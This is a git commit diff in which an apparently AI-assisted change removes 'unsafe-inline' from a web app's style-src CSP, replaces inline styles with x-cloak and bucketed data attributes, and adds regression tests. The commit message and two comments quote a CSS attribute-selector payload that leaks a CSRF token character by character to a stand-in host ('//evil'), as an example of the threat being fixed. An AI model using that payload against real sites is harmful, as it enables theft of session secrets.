Ver Fonte

fix: drop style-src 'unsafe-inline' (SEC_REVIEW F62)

Inline `style="…"` attributes plus `style-src 'unsafe-inline'`
let an attacker who has any HTML-injection primitive write
attribute-selector CSS like:

    input[name=csrf_token][value^="a"] {
      background-image: url(//evil/?p=a);
    }

and exfiltrate the CSRF token char-by-char. The injection target
doesn't even need to be a `<style>` block — a stray `<input>` plus
some clever `[attr^=]` selectors works.

Migrate the two templates that carried inline `style="…"`:

  1. `partials/topnav.twig` user-menu dropdown's pre-init hide
     `style="display: none;"` is now `x-cloak`. The bundled
     stylesheet adds `[x-cloak] { display: none !important; }` so
     the element stays hidden until Alpine boots and removes the
     attribute.

  2. `pages/ips/detail.twig` per-category score bar's
     `style="width: {{ width_pct }}%"` is now bucketed:
     `data-score-width="{{ (width_pct / 5)|round * 5 }}"` (i.e.
     percent rounded to 5%) plus 21 stylesheet rules
     (`[data-score-width="0"]`..`[data-score-width="100"]`). 5%
     buckets are visually indistinguishable from per-pixel widths
     on the 1.5px-tall bar.

`CspMiddleware::policy` now emits `style-src 'self'`. Other
directives unchanged. The Caddyfile's CSP block is still set per-
response by this middleware (Caddy can't see the per-request
nonce); F62 only narrows what CspMiddleware emits.

Regression tests:
  - `ui/tests/Unit/Http/CspMiddlewareTest.php` —
    `testPolicyContainsNonceAndDropsUnsafeDirectives` asserts
    `style-src 'self'` and rejects `'unsafe-inline'`.
  - `ui/tests/Integration/App/CspHeaderTest.php` —
    new `testStyleSrcDropsUnsafeInline` confirms the policy on a
    rendered response; `testNoInlineStyleAttributesInLoginTemplate`
    catches any future template change that re-introduces
    `style="…"`.

Full UI suite (188 tests / 587 assertions) passes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
chiappa há 3 dias atrás
pai
commit
f044dbb6bc

+ 36 - 0
ui/resources/css/app.css

@@ -1,3 +1,39 @@
 @tailwind base;
 @tailwind components;
 @tailwind utilities;
+
+/* SEC_REVIEW F62: dropping `style-src 'unsafe-inline'` from CSP means
+   no inline `style="…"` attributes. Two patterns the templates need:
+
+   1. Alpine's pre-init hide pattern. The previously-`style="display:none;"`
+      element gets `x-cloak` and we set the rule here so the stylesheet
+      hides it before Alpine boots (and `x-cloak` is removed by Alpine
+      after `init()`).
+   2. Data-driven score-bar width. Templates render
+      `data-score-width="N"` where `N` is the percent rounded to 5; this
+      stylesheet provides one rule per bucket. 5% buckets are visually
+      indistinguishable from per-pixel widths on the small bar UIs the
+      templates use. */
+[x-cloak] { display: none !important; }
+
+[data-score-width="0"]   { width: 0%; }
+[data-score-width="5"]   { width: 5%; }
+[data-score-width="10"]  { width: 10%; }
+[data-score-width="15"]  { width: 15%; }
+[data-score-width="20"]  { width: 20%; }
+[data-score-width="25"]  { width: 25%; }
+[data-score-width="30"]  { width: 30%; }
+[data-score-width="35"]  { width: 35%; }
+[data-score-width="40"]  { width: 40%; }
+[data-score-width="45"]  { width: 45%; }
+[data-score-width="50"]  { width: 50%; }
+[data-score-width="55"]  { width: 55%; }
+[data-score-width="60"]  { width: 60%; }
+[data-score-width="65"]  { width: 65%; }
+[data-score-width="70"]  { width: 70%; }
+[data-score-width="75"]  { width: 75%; }
+[data-score-width="80"]  { width: 80%; }
+[data-score-width="85"]  { width: 85%; }
+[data-score-width="90"]  { width: 90%; }
+[data-score-width="95"]  { width: 95%; }
+[data-score-width="100"] { width: 100%; }

+ 9 - 1
ui/resources/views/pages/ips/detail.twig

@@ -147,13 +147,21 @@
             <ul class="mt-3 space-y-3 text-sm">
                 {% for s in detail.scores %}
                     {% set width_pct = max_score > 0 ? (s.score / max_score * 100) : 0 %}
+                    {# SEC_REVIEW F62: bucket the dynamic width into 5%
+                       steps and render as a `data-score-width` attribute.
+                       The bundled stylesheet (`resources/css/app.css`)
+                       ships one rule per bucket, so dropping
+                       `style-src 'unsafe-inline'` from CSP doesn't break
+                       the visual. 5% buckets are visually indistinguishable
+                       from per-pixel widths on this 1.5px-tall bar. #}
+                    {% set width_bucket = (width_pct / 5)|round * 5 %}
                     <li>
                         <div class="flex items-baseline justify-between">
                             <span class="font-mono">{{ s.category|default('?') }}</span>
                             <span class="font-mono text-slate-600 dark:text-slate-300">{{ s.score|number_format(2) }} <span class="text-xs text-slate-400">({{ s.report_count_30d }} in 30d)</span></span>
                         </div>
                         <div class="mt-1 h-1.5 overflow-hidden rounded bg-slate-100 dark:bg-slate-800">
-                            <div class="h-full bg-indigo-500" style="width: {{ width_pct }}%"></div>
+                            <div class="h-full bg-indigo-500" data-score-width="{{ width_bucket }}"></div>
                         </div>
                     </li>
                 {% endfor %}

+ 1 - 1
ui/resources/views/partials/topnav.twig

@@ -27,7 +27,7 @@
                 </button>
                 <div x-show="open"
                      x-transition
-                     style="display: none;"
+                     x-cloak
                      class="absolute right-0 mt-2 w-48 origin-top-right rounded-md border border-slate-200 bg-white py-1 shadow-lg dark:border-slate-800 dark:bg-slate-900">
                     <a href="/app/me" class="block px-4 py-2 text-sm text-slate-700 hover:bg-slate-100 dark:text-slate-200 dark:hover:bg-slate-800">My identity</a>
                     <button type="button"

+ 17 - 1
ui/src/Http/CspMiddleware.php

@@ -41,9 +41,25 @@ final class CspMiddleware implements MiddlewareInterface
 
     public static function policy(string $nonce): string
     {
+        // SEC_REVIEW F62: `style-src` is `'self'` only —
+        // `'unsafe-inline'` is gone. With it, an attacker who
+        // achieved an HTML-injection (sub-XSS) primitive could
+        // write CSS attribute selectors like
+        //   input[name=csrf_token][value^="a"] {
+        //     background-image: url(//evil/?p=a);
+        //   }
+        // and exfiltrate the CSRF token char-by-char.
+        // The two templates that previously used inline `style="…"`
+        // were migrated: `partials/topnav.twig` uses `x-cloak` for
+        // the pre-init hide; `pages/ips/detail.twig` buckets the
+        // dynamic score-bar width into a `data-score-width`
+        // attribute matched by stylesheet rules in
+        // `resources/css/app.css`. Both rule sets ship in the
+        // bundled `public/assets/app.css`, so `style-src 'self'`
+        // covers them.
         return "default-src 'self'; "
             . "script-src 'self' 'nonce-{$nonce}'; "
-            . "style-src 'self' 'unsafe-inline'; "
+            . "style-src 'self'; "
             . "img-src 'self' data:; "
             . "font-src 'self' data:; "
             . "connect-src 'self'; "

+ 43 - 0
ui/tests/Integration/App/CspHeaderTest.php

@@ -80,6 +80,49 @@ final class CspHeaderTest extends AppTestCase
         );
     }
 
+    public function testStyleSrcDropsUnsafeInline(): void
+    {
+        // SEC_REVIEW F62: `style-src 'unsafe-inline'` allowed CSS
+        // attribute selectors that exfiltrate the CSRF token (or
+        // any other secret in the DOM) char-by-char via
+        // `background-image: url(//evil/?p=…)`. The policy now
+        // enforces `style-src 'self'` only — inline `style="…"`
+        // attributes have been migrated to data-attribute-driven
+        // stylesheet rules.
+        $response = $this->request('GET', '/login');
+        $csp = $response->getHeaderLine('Content-Security-Policy');
+
+        self::assertStringNotContainsString("'unsafe-inline'", self::styleSrc($csp));
+        self::assertSame("style-src 'self'", self::styleSrc($csp));
+    }
+
+    public function testNoInlineStyleAttributesInLoginTemplate(): void
+    {
+        // F62 regression: catch any future template change that
+        // re-introduces `style="…"` (which would silently break
+        // because the policy refuses to apply the inline style).
+        $response = $this->request('GET', '/login');
+        $body = (string) $response->getBody();
+
+        self::assertDoesNotMatchRegularExpression(
+            '/\sstyle=\s*"/i',
+            $body,
+            'login layout must not carry any inline `style="…"` attributes (F62)',
+        );
+    }
+
+    private static function styleSrc(string $csp): string
+    {
+        foreach (explode(';', $csp) as $part) {
+            $part = trim($part);
+            if (str_starts_with($part, 'style-src')) {
+                return $part;
+            }
+        }
+
+        return '';
+    }
+
     public function testNoBareInlineEventHandlersLeftInLoginTemplate(): void
     {
         $response = $this->request('GET', '/login');

+ 7 - 0
ui/tests/Unit/Http/CspMiddlewareTest.php

@@ -38,6 +38,13 @@ final class CspMiddlewareTest extends TestCase
         self::assertStringNotContainsString("'unsafe-inline'", $scriptSrc);
         self::assertStringContainsString("'self'", $scriptSrc);
         self::assertStringContainsString("'nonce-{$nonce}'", $scriptSrc);
+        // SEC_REVIEW F62: `style-src` must NOT contain `'unsafe-inline'`.
+        // Inline styles attribute selectors would otherwise let an
+        // attacker exfiltrate secrets like the CSRF token char-by-char.
+        $styleSrc = self::extractDirective($policy, 'style-src');
+        self::assertNotSame('', $styleSrc, 'style-src directive missing');
+        self::assertStringNotContainsString("'unsafe-inline'", $styleSrc);
+        self::assertSame("style-src 'self'", $styleSrc);
         // Defence-in-depth: frame-ancestors / form-action / base-uri locked down.
         self::assertStringContainsString("frame-ancestors 'none'", $policy);
         self::assertStringContainsString("form-action 'self'", $policy);